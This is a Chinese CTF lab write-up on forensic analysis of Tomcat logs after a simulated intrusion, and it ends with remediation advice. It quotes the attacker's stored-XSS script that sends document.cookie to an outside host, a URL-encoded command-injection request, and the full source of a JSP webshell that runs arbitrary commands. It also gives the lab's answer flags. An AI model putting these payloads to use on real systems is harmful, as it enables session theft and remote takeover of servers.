玄机靶场通关笔记日志分析-Tomcat日志分析作者YaBingSec题目背景小王在自己的服务器上安装配置了Tomcat并写了几个简单的网页。但由于安全意识不足很快就被攻击者利用了。请你帮他排查一下存在的安全问题。靶机信息RDP 端口3389用户名/密码Administrator / 4210bf解题思路与步骤分析步骤 1Tomcat日志所在的绝对路径是首先我们需要通过RDP或WinRM连接到靶机寻找Tomcat的安装目录。连接后我们可以通过遍历C盘目录或查看服务来定位Tomcat。在靶机中我们发现Tomcat安装在C:\server\apache-tomcat-11.0.5目录下。Tomcat的默认日志目录是其安装目录下的logs文件夹。因此Tomcat日志所在的绝对路径为C:\server\apache-tomcat-11.0.5\logsFlagflag{C:\server\apache-tomcat-11.0.5\logs}步骤 2攻击者对某网站进行了口令爆破。请你判断口令成功匹配的请求的响应码是进入Tomcat的日志目录后我们查看最大的访问日志文件localhost_access_log.2025-03-19.txt。在日志中我们发现攻击者IP192.168.5.66对/demo/loginCheck.jsp发起了大量的POST请求这明显是口令爆破行为。通过分析日志和loginCheck.jsp的源代码我们发现当密码错误时服务器返回200状态码并显示用户名或密码错误的页面。当密码正确admin / XJ123!时服务器会设置Session并返回302状态码重定向到admin.jsp。日志中成功的请求记录如下192.168.5.66 - - [19/Mar/2025:22:58:21 0800] POST /demo/loginCheck.jsp HTTP/1.1 302 -因此口令成功匹配的请求响应码是 302。Flagflag{302}步骤 3攻击者向admin.jsp的管理员留言板界面发送了恶意JS代码从而构成了存储型XSS。已知攻击者试图盗取管理员cookie并将其发送至其本地服务器上。请你判断其服务器上用于盗取cookie而监听的端口是通过分析网站源码我们发现留言板功能在index.jsp中用户提交的留言会被保存在messages.txt文件中。当管理员访问admin.jsp时会读取并显示这些留言由于没有进行转义处理导致了存储型XSS漏洞。我们查看C:\server\apache-tomcat-11.0.5\webapps\demo\messages.txt文件的内容发现了攻击者插入的恶意JS代码scriptvarcookiedocument.cookie;fetch(http://192.168.5.66:5000/steal?cookieencodeURIComponent(cookie));/script从这段代码可以看出攻击者试图将盗取的cookie发送到http://192.168.5.66:5000/steal。因此攻击者服务器上用于监听并接收cookie的端口是 5000。Flagflag{5000}步骤 4攻击者利用执行系统命令的参数是继续分析访问日志我们发现在口令爆破和XSS攻击之后攻击者访问了/connect/ping.jsp文件并在URL中传递了参数。日志记录如下192.168.5.66 - - [19/Mar/2025:23:07:54 0800] GET /connect/ping.jsp?ip8.8.8.8%26%26whoami HTTP/1.1 200 1379URL解码后为GET /connect/ping.jsp?ip8.8.8.8 whoami这表明ping.jsp存在命令注入漏洞攻击者通过ip参数传入了恶意命令如whoami。因此执行系统命令的参数是ip。Flagflag{ip}步骤 5攻击者通过某种手段遗留了后门文件请你找到该文件并按需提交其文件中的flag通过进一步分析日志我们发现攻击者利用上述的命令注入漏洞向服务器写入了一个JSP后门文件Webshell。日志记录如下192.168.5.66 - - [19/Mar/2025:23:16:42 0800] GET /connect/ping.jsp?ip8.8.8.8%26%26echo%5E%3C%25%40pagelanguage%3D%22java%22import%3D%22java.util.*%2Cjava.io.*%22%25%5E%3E%5E%3C%25Stringcmd%3Drequest.getParameter%28%22cmd%22%29%3Bif%28cmd%21%3Dnull%29%7BProcessp%3DRuntime.getRuntime%28%29.exec%28cmd%29%3BBufferedReaderreader%3DnewBufferedReader%28newInputStreamReader%28p.getInputStream%28%29%29%29%3BStringline%3Bwhile%28%28line%3Dreader.readLine%28%29%29%21%3Dnull%29%7Bout.println%28line%2B%22%5E%3Cbr%5E%3E%22%29%3B%7D%7D%25%5E%3E%3EC%3A%5Cserver%5Capache-tomcat-11.0.5%5Cwebapps%5CROOT%5Chello.jsp HTTP/1.1 200 1349这段URL解码后是一个echo命令将一段JSP代码写入到了C:\server\apache-tomcat-11.0.5\webapps\ROOT\hello.jsp文件中。我们查看该后门文件hello.jsp的内容% page languagejava importjava.util.*,java.io.* % % String cmd request.getParameter(cmd); if (cmd ! null) { Process p Runtime.getRuntime().exec(cmd); BufferedReader reader new BufferedReader(new InputStreamReader(p.getInputStream())); String line; while ((line reader.readLine()) ! null) { out.println(line ^br^); } } % /* 隐藏flag是 eW91bWFkZWl0 */在文件末尾的注释中我们找到了一个Base64编码的字符串eW91bWFkZWl0。将其进行Base64解码得到明文youmadeit。Flagflag{youmadeit}总结本次应急响应排查主要涉及以下几个安全问题弱口令与暴力破解后台登录接口未限制请求频率导致攻击者成功爆破出管理员密码。存储型XSS留言板功能未对用户输入进行过滤和转义导致攻击者可以插入恶意JS代码盗取管理员Cookie。命令注入ping.jsp页面在处理用户传入的ip参数时未进行严格的校验和过滤直接拼接执行系统命令导致命令注入漏洞。文件写入与Webshell攻击者利用命令注入漏洞成功向Web目录写入了JSP后门文件获取了服务器的控制权。建议在开发和配置Web应用时加强输入验证、实施严格的访问控制并定期审查系统日志以发现潜在的安全威胁。